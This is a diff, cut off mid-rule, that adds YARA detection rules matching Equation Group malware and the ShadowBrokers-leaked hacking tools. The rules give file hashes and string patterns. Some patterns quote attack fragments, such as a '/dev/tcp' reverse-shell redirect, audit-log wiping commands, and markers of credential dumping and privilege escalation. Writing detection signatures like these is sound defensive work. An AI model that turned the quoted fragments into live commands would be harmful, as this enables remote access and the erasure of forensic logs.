+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "27972d636b05a794d17cb3203d537bcf7c379fafd1802792e7fb8e72f130a0c4"
+      id = "4bc4804b-c6d2-5c94-b451-24bb0f3dba43"
+   strings:
+      $s1 = "Psxssdll.dll" fullword wide
+      $s2 = "Posix Server Dll" fullword wide
+      $s4 = "itanium" fullword wide
+      $s5 = "RHTTP/1.0" fullword wide
+      $s8 = "Copyright (C) Microsoft" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_LSADUMP_Lp {
+   meta:
+      description = "EquationGroup Malware - file LSADUMP_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
+      id = "8068ca41-6365-5c97-82f2-be9ad89628e0"
+   strings:
+      $x1 = "LSADUMP - - ERROR - - Injected" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+rule EquationGroup_EquationDrug_mstcp32 {
+   meta:
+      description = "EquationGroup Malware - file mstcp32.sys"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      modified = "2023-01-06"
+      hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
+      id = "bed26a7b-933f-5578-b65c-65179959050d"
+   strings:
+      $s1 = "mstcp32.sys" fullword wide
+      $s2 = "p32.sys" fullword ascii
+      $s3 = "\\Registry\\User\\CurrentUser\\" wide
+      $s4 = "\\DosDevices\\%ws" wide
+      $s5 = "\\Device\\%ws_%ws" wide
+      $s6 = "sys\\mstcp32.dbg" fullword ascii
+      $s7 = "%ws%03d%ws%wZ" fullword wide
+      $s8 = "TCP/IP driver" fullword wide
+      $s9 = "\\Device\\%ws" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 7 of them ) or ( all of them )
+}
+
+rule EquationGroup_nethide_Lp {
+   meta:
+      description = "EquationGroup Malware - file nethide_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
+      id = "39e96239-2189-5993-90ba-27e47f7bfdea"
+   strings:
+      $x1 = "Error: Attempt to hide all TCP connections (any:any)." fullword wide
+      $x2 = "privilegeRunInKernelMode failed" fullword wide
+      $x3 = "Failed to unhide requested connection" fullword wide
+      $x4 = "Nethide running in USER_MODE" fullword wide
+      $x5 = "Not enough slots for all of the list.  Some entries may have not been hidden." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them ) or ( all of them )
+}
+
+rule EquationGroup_PC_Level4_flav_dll_x64 {
+   meta:
+      description = "EquationGroup Malware - file PC_Level4_flav_dll_x64"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
+      id = "f05dd0b6-106c-5d1d-ba09-4ac3035e7030"
+   strings:
+      $s1 = "wship.dll" fullword wide
+      $s2 = "   IP:      " fullword ascii
+      $s3 = "\\\\.\\%hs" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_PC_Level4_flav_exe {
+   meta:
+      description = "EquationGroup Malware - file PC_Level4_flav_exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "33ba9f103186b6e52d8d69499512e7fbac9096e7c5278838127488acc3b669a9"
+      id = "eb93a798-4e7e-52dc-a39b-bfb63a58d250"
+   strings:
+      $s1 = "Extended Memory Runtime Process" fullword wide
+      $s2 = "memess.exe" fullword wide
+      $s3 = "\\\\.\\%hs" fullword ascii
+      $s4 = ".?AVOpenSocket@@" fullword ascii
+      $s5 = "Corporation. All rights reserved." fullword wide
+      $s6 = "itanium" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_processinfo_Implant {
+   meta:
+      description = "EquationGroup Malware - file processinfo_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "aadfa0b1aec4456b10e4fb82f5cfa918dbf4e87d19a02bcc576ac499dda0fb68"
+      id = "b110d819-2298-507b-91bb-2787bb11322e"
+   strings:
+      $s1 = "hZwOpenProcessToken" fullword ascii
+      $s2 = "hNtQueryInformationProcess" fullword ascii
+      $s3 = "No mapping" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 80KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_Gen_2 {
+   meta:
+      description = "EquationGroup Malware - file PortMap_Implant.dll"
+      author = "Auto Generated"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "964762416840738b1235ed4ae479a4b117b8cdcc762a6737e83bc2062c0cf236"
+      id = "662ee1cf-b837-5362-84a8-1af7335d5e1b"
+   strings:
+      $op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
+      $op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
+      $op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 250KB and all of them )
+}
+
+
+rule EquationGroup_EquationDrug_ntevt {
+   meta:
+      description = "EquationGroup Malware - file ntevt.sys"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "45e5e1ea3456d7852f5c610c7f4447776b9f15b56df7e3a53d57996123e0cebf"
+      id = "36d23adb-dafe-5e99-8976-b146ceca2f9b"
+   strings:
+      $s1 = "ntevt.sys" fullword ascii
+      $s2 = "c:\\ntevt.pdb" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
+}
+
+rule EquationGroup_nethide_Implant {
+   meta:
+      description = "EquationGroup Malware - file nethide_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+	  modified = "2023-01-27"
+      hash1 = "b2daf9058fdc5e2affd5a409aebb90343ddde4239331d3de8edabeafdb3a48fa"
+      id = "36559b69-1718-5d9b-8d6f-3db4becba0c4"
+   strings:
+      $s1 = "\\\\.\\dlcndi" fullword ascii
+      $s2 = "s\\drivers\\" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 90KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_Gen_4 {
+   meta:
+      description = "EquationGroup Malware - file PC_Level4_flav_dll"
+      author = "Auto Generated"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "227faeb770ba538fb85692b3dfcd00f76a0a5205d1594bd0969a1e535ee90ee1"
+      id = "e3fc376b-f7cc-5dfa-bcf4-4991962a4cf9"
+   strings:
+      $op1 = { 11 8b da 23 df 8d 1c 9e c1 fb 02 33 da 23 df 33 }
+      $op2 = { c3 0c 57 8b 3b eb 27 8b f7 83 7e 08 00 8b 3f 74 }
+      $op3 = { 00 0f b7 5e 14 8d 5c 33 18 8b c3 2b 45 08 50 ff }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_tdi6 {
+   meta:
+      description = "EquationGroup Malware - file tdi6.sys"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "12c082f74c0916a0e926488642236de3a12072a18d29c97bead15bb301f4b3f8"
+      id = "c6dbc28a-ec52-5256-afff-ab15ed1b90a6"
+   strings:
+      $s1 = "tdi6.sys" fullword wide
+      $s3 = "TDI IPv6 Wrapper" fullword wide
+      $s5 = "Corporation. All rights reserved." fullword wide
+      $s6 = "FailAction" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_modifyAuthentication_Implant {
+   meta:
+      description = "EquationGroup Malware - file modifyAuthentication_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "e1dff24af5bfc991dca21b4e3a19ffbc069176d674179eef691afc6b1ac6f805"
+      id = "990035c5-cd9c-59e0-b244-e2caafd2561f"
+   strings:
+      $s1 = "LSASS.EXE" fullword wide
+      $s2 = "hsamsrv.dll" fullword ascii
+      $s3 = "hZwOpenProcess" fullword ascii
+      $s4 = "hOpenProcess" fullword ascii
+      $s5 = ".?AVFeFinallyFailure@@" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_ntfltmgr {
+   meta:
+      description = "EquationGroup Malware - file ntfltmgr.sys"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
+      id = "dd7fd371-a097-5df5-9ffd-89babbadee96"
+   strings:
+      $s1 = "ntfltmgr.sys" fullword wide
+      $s2 = "ntfltmgr.pdb" fullword ascii
+      $s4 = "Network Filter Manager" fullword wide
+      $s5 = "Corporation. All rights reserved." fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_DXGHLP16 {
+   meta:
+      description = "EquationGroup Malware - file DXGHLP16.SYS"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      modified = "2023-01-06"
+      hash1 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
+      id = "d9e39c22-f606-5d9c-a5e2-e536b8566595"
+   strings:
+      $s1 = "DXGHLP16.SYS" fullword wide
+      $s2 = "P16.SYS" fullword ascii
+      $s3 = "\\Registry\\User\\CurrentUser\\" wide
+      $s4 = "\\DosDevices\\%ws" wide
+      $s5 = "\\Device\\%ws_%ws" wide
+      $s6 = "ct@SYS\\DXGHLP16.dbg" fullword ascii
+      $s7 = "%ws%03d%ws%wZ" fullword wide
+      $s8 = "TCP/IP driver" fullword wide
+      $s9 = "\\Device\\%ws" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_msgkd {
+   meta:
+      description = "EquationGroup Malware - file msgkd.ex_"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "25eec68fc9f0d8d1b5d72c9eae7bee29035918e9dcbeab13e276dec4b2ad2a56"
+      id = "41019119-9bf4-5a45-b74b-f75ab7738821"
+   strings:
+      $s1 = "KEysud" fullword ascii
+      $s2 = "XWWWPWS" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_RunAsChild_Lp {
+   meta:
+      description = "EquationGroup Malware - file RunAsChild_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
+      id = "f0623c3f-3a49-5cdf-89ea-2b3273fd8324"
+   strings:
+      $s1 = "Privilege elevation failed" fullword wide
+      $s2 = "Unable to open parent process" fullword wide
+      $s4 = "Invalid input to lpRunAsChildPPC" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_EquationDrug_Gen_6 {
+   meta:
+      description = "EquationGroup Malware - file PC_Level3_dll_x64"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "339855618fb3ef53987b8c14a61bd4519b2616e766149e0c21cbd7cbe7a632c9"
+      id = "99b2fab0-1298-5d48-a78b-eb59942ecfca"
+   strings:
+      $s1 = "Psxssdll.dll" fullword wide
+      $s2 = "Posix Server Dll" fullword wide
+      $s3 = "Copyright (C) Microsoft" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_PC_Level3_http_flav_dll_x64 {
+   meta:
+      description = "EquationGroup Malware - file PC_Level3_http_flav_dll_x64"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "4e0209b4f5990148f5d6dee47dbc7021bf78a782b85cef4d6c8be22d698b884f"
+      id = "93a3d47d-1dac-5621-8e69-d6d23b7628db"
+   strings:
+      $s1 = "Psxssdll.dll" fullword wide
+      $s2 = "Posix Server Dll" fullword wide
+      $s3 = ".?AVOpenSocket@@" fullword ascii
+      $s4 = "RHTTP/1.0" fullword wide
+      $s5 = "Copyright (C) Microsoft" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 400KB and ( all of ($s*) ) ) or ( all of them )
+}
+
+rule EquationGroup_EquationDrug_Gen_3 {
+   meta:
+      description = "EquationGroup Malware - file mssld.dll"
+      author = "Auto Generated"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "69dcc150468f7707cc8ef618a4cea4643a817171babfba9290395ada9611c63c"
+      id = "f664ad78-1820-5434-94cc-94f98b32e654"
+   strings:
+      $op1 = { f4 65 c6 45 f5 6c c6 45 f6 33 c6 45 f7 32 c6 45 }
+      $op2 = { 36 c6 45 e6 34 c6 45 e7 50 c6 45 e8 72 c6 45 e9 }
+      $op3 = { c6 45 e8 65 c6 45 e9 70 c6 45 ea 74 c6 45 eb 5f }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 1000KB and all of them )
+}
+
+rule EquationGroup_GetAdmin_Lp {
+   meta:
+      description = "EquationGroup Malware - file GetAdmin_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
+      id = "3bbe0553-a5a3-5207-a94e-ad978606d9a4"
+   strings:
+      $x1 = "Current user is System -- unable to join administrators group" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+
+rule EquationGroup_ModifyGroup_Lp {
+   meta:
+      description = "EquationGroup Malware - file ModifyGroup_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
+      id = "82c9617a-3d78-525f-a507-76c87aad7c59"
+   strings:
+      $s1 = "Modify Privileges failed" fullword wide
+      $s2 = "Given privilege name not found" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_pwdump_Lp {
+   meta:
+      description = "EquationGroup Malware - file pwdump_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
+      id = "6f356f13-9ec1-5dd9-91b2-6a3071398e81"
+   strings:
+      $x1 = "PWDUMP - - ERROR - -" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_EventLogEdit_Implant {
+   meta:
+      description = "EquationGroup Malware - file EventLogEdit_Implant.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "0bb750195fbd93d174c2a8e20bcbcae4efefc881f7961fdca8fa6ebd68ac1edf"
+      id = "40239dd0-4159-5c10-96b3-4f1e28c92d97"
+   strings:
+      $s1 = "SYSTEM\\CurrentControlSet\\Services\\EventLog\\%ls" fullword wide
+      $s2 = "Ntdll.dll" fullword ascii
+      $s3 = "hZwOpenProcess" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and all of them )
+}
+
+rule EquationGroup_PortMap_Lp {
+   meta:
+      description = "EquationGroup Malware - file PortMap_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
+      id = "e1851a17-9858-5c93-9993-2da0559e5d2e"
+   strings:
+      $s1 = "Privilege elevation failed" fullword wide
+      $s2 = "Portmap ended due to max number of ports" fullword wide
+      $s3 = "Invalid parameters received for portmap" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 2 of them )
+}
+
+rule EquationGroup_ProcessOptions_Lp {
+   meta:
+      description = "EquationGroup Malware - file ProcessOptions_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
+      id = "5ccb9751-fbcc-538c-8d55-dfc495067ce5"
+   strings:
+      $s1 = "Invalid parameter received by implant" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and all of them )
+}
+
+rule EquationGroup_PassFreely_Lp {
+   meta:
+      description = "EquationGroup Malware - file PassFreely_Lp.dll"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      hash1 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
+      id = "5fb99194-f0df-54aa-9f20-7f8458155e62"
+   strings:
+      $s1 = "Unexpected value in memory.  Run the 'CheckOracle' or 'memcheck' command to identify the problem" fullword wide
+      $s2 = "Oracle process memory successfully modified!" fullword wide
+      $s3 = "Unable to reset the memory protection mask to the memory" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of them )
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule EquationGroup_EquationDrug_Gen_1 {
+   meta:
+      description = "EquationGroup Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/tcSoiJ"
+      date = "2017-01-13"
+      super_rule = 1
+      hash1 = "694be2698bcc5c7a1cce11f8ef65c1c96a883d14b98148c36b32888fb58b6a7e"
+      hash2 = "73d1d55493886639c619e9f5e312daab93e4feeb74f24dbe51593842baac8d15"
+      hash3 = "e1c9c9f031d902e69e42f684ae5b35a2513f7d5f8bca83dfbab10e8de6254c78"
+      hash4 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
+      hash5 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
+      hash6 = "8f5b97124de9fce16e2cfecb7dd2e171824c9e07546db7b3bee7c5f2c92ceda9"
+      hash7 = "dfb38ed2ca3870faf351df1bd447a3dc4470ed568553bf83df07bf07967bf520"
+      hash8 = "d92928a867a685274b0a74ec55c0b83690fca989699310179e184e2787d47f48"
+      hash9 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
+      hash10 = "fe42139748c8e9ba27a812466d9395b3a0818b0cd7b41d6769cb7239e57219fb"
+      hash11 = "2b27f2faae9de6330f17f60a1d19f9831336f57fdfef06c3b8876498882624a6"
+      hash12 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
+      hash13 = "31d86f77137f0b3697af03dd28d6552258314cecd3c1d9dc18fcf609eb24229a"
+      hash14 = "fda57a2ba99bc610d3ff71b2d0ea2829915eabca168df99709a8fdd24288c5e5"
+      hash15 = "1097e1d562341858e241f1f67788534c0e340a2dc2e75237d57e3f473e024464"
+      id = "331d7ba5-e3fa-5ab7-b4de-c7af764be03d"
+   strings:
+      $x1 = "Injection Lib -  GetProcAddress failed on Kernel32.DLL function" fullword wide
+      $x2 = "Injection Lib -  JUMPUP failed to open requested process" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 300KB and 1 of ($x*) ) or ( all of them )
+}
+
+/* The Cherry on the Cake */
+
+rule EquationDrug_MS_Identifier {
+	meta:
+		description = "Microsoft Identifier used in EquationDrug Platform"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		date = "2015/03/11"
+		id = "c934c117-bf5a-5688-acd9-5d6c6aacd6bc"
+	strings:
+		$s1 = "Microsoft(R) Windows (TM) Operating System" fullword wide
+	condition:
+		// Epoch for 01.01.2000
+		$s1 and pe.timestamp > 946684800
+}
diff --git a/yara-Neo23x0/apt_eqgrp_apr17.yar b/yara-Neo23x0/apt_eqgrp_apr17.yar
new file mode 100644
index 0000000..56f9622
--- /dev/null
+++ b/yara-Neo23x0/apt_eqgrp_apr17.yar
@@ -0,0 +1,3626 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-08
+   Identifier: Equation Group hack tools leaked by ShadowBrokers
+
+   Notice: Avoiding false positives is difficult with almost no antivirus
+   coverage during the rule testing phase. Please report back false positives
+   via https://github.com/Neo23x0/signature-base/issues
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EquationGroup_emptycriss {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file emptycriss"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "a698d35a0c4d25fd960bd40c1de1022bb0763b77938bf279e91c9330060b0b91"
+      id = "658a0a2c-ea3a-5531-abea-54f0ed786e79"
+   strings:
+      $s1 = "./emptycriss <target IP>" fullword ascii
+      $s2 = "Cut and paste the following to the telnet prompt:" fullword ascii
+      $s8 = "environ define TTYPROMPT abcdef" fullword ascii
+   condition:
+      ( filesize < 50KB and 1 of them )
+}
+
+rule EquationGroup_scripme {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file scripme"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "a1adf1c1caad96e7b7fd92cbf419c4cfa13214e66497c9e46ec274a487cd098a"
+      id = "a2c5cd8b-c104-57d9-9ce2-a0b9a8dd9288"
+   strings:
+      $x1 = "running \\\"tcpdump -n -n\\\", on the environment variable \\$INTERFACE, scripted" fullword ascii
+      $x2 = "Cannot read $opetc/scripme.override -- are you root?" ascii
+      $x3 = "$ENV{EXPLOIT_SCRIPME}" ascii
+      $x4 = "$opetc/scripme.override" ascii
+   condition:
+      ( filesize < 30KB and 1 of them )
+}
+
+rule EquationGroup_cryptTool {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file cryptTool"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "96947ad30a2ab15ca5ef53ba8969b9d9a89c48a403e8b22dd5698145ac6695d2"
+      id = "e1f4e010-9c42-5b8a-8feb-2885b99307fe"
+   strings:
+      $s1 = "The encryption key is " fullword ascii
+      $s2 = "___tempFile2.out" ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 200KB and all of them )
+}
+
+rule EquationGroup_dumppoppy {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file dumppoppy"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "4a5c01590063c78d03c092570b3206fde211daaa885caac2ab0d42051d4fc719"
+      id = "c316aac3-bdd7-5187-8ae2-0a87c2f2d26f"
+   strings:
+      $x1 = "Unless the -c (clobber) option is used, if two RETR commands of the" fullword ascii
+      $x2 = "mywarn(\"End of $destfile determined by \\\"^Connection closed by foreign host\\\"\")" fullword ascii
+
+      $l1 = "End of $destfile determined by \"^Connection closed by foreign host"
+   condition:
+      ( filesize < 20KB and 1 of them )
+}
+
+rule EquationGroup_Auditcleaner {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file Auditcleaner"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "8c172a60fa9e50f0df493bf5baeb7cc311baef327431526c47114335e0097626"
+      id = "39ed798a-221d-5a4b-8809-db01d5241418"
+   strings:
+      $x1 = "> /var/log/audit/audit.log; rm -f ." ascii
+      $x2 = "Pastables to run on target:" ascii
+      $x3 = "cp /var/log/audit/audit.log .tmp" ascii
+
+      $l1 = "Here is the first good cron session from" fullword ascii
+      $l2 = "No need to clean LOGIN lines." fullword ascii
+   condition:
+      ( filesize < 300KB and 1 of them )
+}
+
+rule EquationGroup_reverse_shell {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file reverse.shell.script"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "d29aa24e6fb9e3b3d007847e1630635d6c70186a36c4ab95268d28aa12896826"
+      id = "0e9b8ff2-2187-5b61-a086-2ad4ff1a3b10"
+   strings:
+      $s1 = "sh >/dev/tcp/" ascii
+      $s2 = " <&1 2>&1" fullword ascii
+   condition:
+      ( filesize < 1KB and all of them )
+}
+
+rule EquationGroup_tnmunger {
+   meta:
+      description = "Equation Group hack tool leaked by ShadowBrokers- file tnmunger"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+      date = "2017-04-08"
+      hash1 = "1ab985d84871c54d36ba4d2abd9168c2a468f1ba06994459db06be13ee3ae0d2"
+      id = "c95dd24f-ffc9-5e58-aed7-205daa001b8c"
+   strings:
+      $s1 = "TEST: mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
+      $s2 = "mungedport=%6d  pp=%d  unmunged=%6d" fullword ascii
+   condition:
+      ( uint16(0) == 0x457f and filesize < 10KB and 1 of them )
+}
+
+rule EquationGroup_ys_ratload {
+   meta:
